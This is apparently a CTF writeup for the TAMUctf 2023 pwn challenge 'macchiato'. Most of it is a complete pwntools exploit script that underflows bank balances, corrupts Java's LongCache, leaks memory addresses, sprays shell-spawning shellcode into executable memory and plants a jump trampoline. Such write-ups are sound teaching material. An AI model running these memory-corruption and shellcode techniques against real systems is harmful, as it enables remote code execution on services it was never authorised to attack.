Rating:

The challenge author also released a writeup here:
https://github.com/tamuctf/tamuctf-2023/tree/master/pwn/macchiato

And the winning team released their writeup here:
https://astr.cc/blog/tamuctf-2023-writeup/#macchiato

```
import pwn
import warnings
import time

warnings.filterwarnings(action='ignore', category=BytesWarning)

pwn.context.arch = "amd64"

p = pwn.remote("localhost", "7010")
# p = pwn.remote("tamuctf.com", 443, ssl=True, sni="macchiato")

LONG_MAX = 9223372036854775807

def login(bank, username):
p.sendlineafter("option:", "1")
p.sendlineafter("bank name", bank)
p.sendlineafter("username:", username)
p.recvuntil("ID ")
return int(p.recvuntil("!", drop=True))

def balance(account):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "1")
p.sendlineafter("number (0-10):", str(account))
p.recvuntil("now $")
out = int(p.recvline())
p.sendlineafter("option", "3")
return out

def withdraw(account, amount):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "2")
p.sendlineafter("number (0-10):", str(account))
p.sendlineafter("amount", str(amount))
p.sendlineafter("option", "3")

def write_value(account, value):
curr = balance(account)
print(f"{curr=} {value=}")

if value > 0 and curr > 0:
print(f"{balance(account)=}")

withdraw(account, curr)
print(f"{balance(account)=}")
withdraw(account, LONG_MAX)
print(f"{balance(account)=}")

withdraw(account, 2)
print(f"{balance(account)=}")

withdraw(account, LONG_MAX - value + 2)
print(f"{balance(account)=}")

elif value < 0 and curr > 0:
print(f"{balance(account)=}")

withdraw(account, curr - 2)
print(f"{balance(account)=}")

withdraw(account, abs(value) + 2)
print(f"{balance(account)=}")

elif value < 0 and curr < 0:
print(f"{balance(account)=}")

withdraw(account, LONG_MAX - abs(curr))
print(f"{balance(account)=}")

withdraw(account, 2)
print(f"{balance(account)=}")

withdraw(account, 9223372036854775805 - 10)
# withdraw(account, 1)
print(f"{balance(account)=}")

withdraw(account, abs(value) + 12)
print(f"{balance(account)=}")

elif value > 0 and curr < 0:
print(f"0 {balance(account)=}")

withdraw(account, LONG_MAX - abs(curr))
print(f"1 {balance(account)=}")

withdraw(account, 2)
print(f"2 {balance(account)=}")

withdraw(account, LONG_MAX - value)
print(f"3 {balance(account)=}")

assert balance(account) == value, balance(account)

def trigger_crash(account):
p.sendlineafter("option:", "2")
p.sendlineafter("option:", "2")
p.sendlineafter("number (0-10):", str(account))
p.sendlineafter("amount", str(1))

def upgrade():
p.sendlineafter("option:", "3")

# Step 1: Enable BlazinglyFastBank accounts via Underflow
login("RegularBank", "me")
withdraw(0, LONG_MAX)
print(f"{balance(0)=}")
withdraw(0, 2)
print(f"{balance(0)=}")
upgrade()

# Step 2: Modify LongCache by bypass index check
login("java.lang.Long$LongCache", "cache")
print(f"LongCache.balance(0) = {balance(0)=}")
withdraw(128, LONG_MAX)
withdraw(128 + 10, LONG_MAX)
withdraw(128 + 10, 2 + 10)

# Step 3: Login to BlazinglyFastBank and grab hashCode
arrHashCode = login("BlazinglyFastBank", "me")
print(f"{hex(arrHashCode)=}")

# Step 4: Find spray_offsets
# me == 579
# notMe == 567
# notMeEither == 555

for i in range(500, 600):
b = pwn.unsigned(balance(i))

bHigh = b >> 32
bLow = b & 0xFFFFFFFF

print(f"{i=} {hex(arrHashCode)=} {hex(bHigh)=} {hex(bLow)=}")

if arrHashCode == bHigh or arrHashCode == bLow:
print(f"Found hashCode at index {i=}")
# time.sleep(1)

# trigger_crash(-0x1000000 // 8)
# p.interactive()

# Leak arr addr
arr_addr = (pwn.unsigned(balance(574)) >> 32) + 0x10
print(f"{hex(arr_addr)=}")

# Step 5: Inject Shellcode (spray and pray)
spray_addr = 0x800001500

shellcode = pwn.asm(pwn.shellcraft.amd64.sh())

spray_offset = (spray_addr - arr_addr) // 8
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
write_value(spray_offset + i, pwn.u64(chunk, sign="signed"))
i += 1

# Step 6 (Optional): Verify shellcode
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
b = balance(spray_offset + i)
assert pwn.u64(chunk, sign='signed') == b
i += 1

# Step 7 (Optiona): dump rwx asm
asm = b""
for i in range(20):
asm += pwn.p64(balance(spray_offset - (0x1500 // 8) + i), sign="signed")

print(pwn.disasm(asm))

# Step 8 Inject Trampoline
jump = f"""
movabs r10, {spray_addr}
"""

jump_int = pwn.asm(jump)[:8] # ignore final 2 null bytes
print(f"{jump_int=}")
jump_asm = pwn.u64(jump_int, signed='signed')

current_jump_value = balance(spray_offset - (0x1500 // 8))
print(f"{hex(current_jump_value)=}")
print(f"{hex(jump_asm)=}")

withdraw(spray_offset - (0x1500 // 8), current_jump_value - jump_asm)

p.interactive()
```

Original writeup (https://youtu.be/XkC23TDd-04).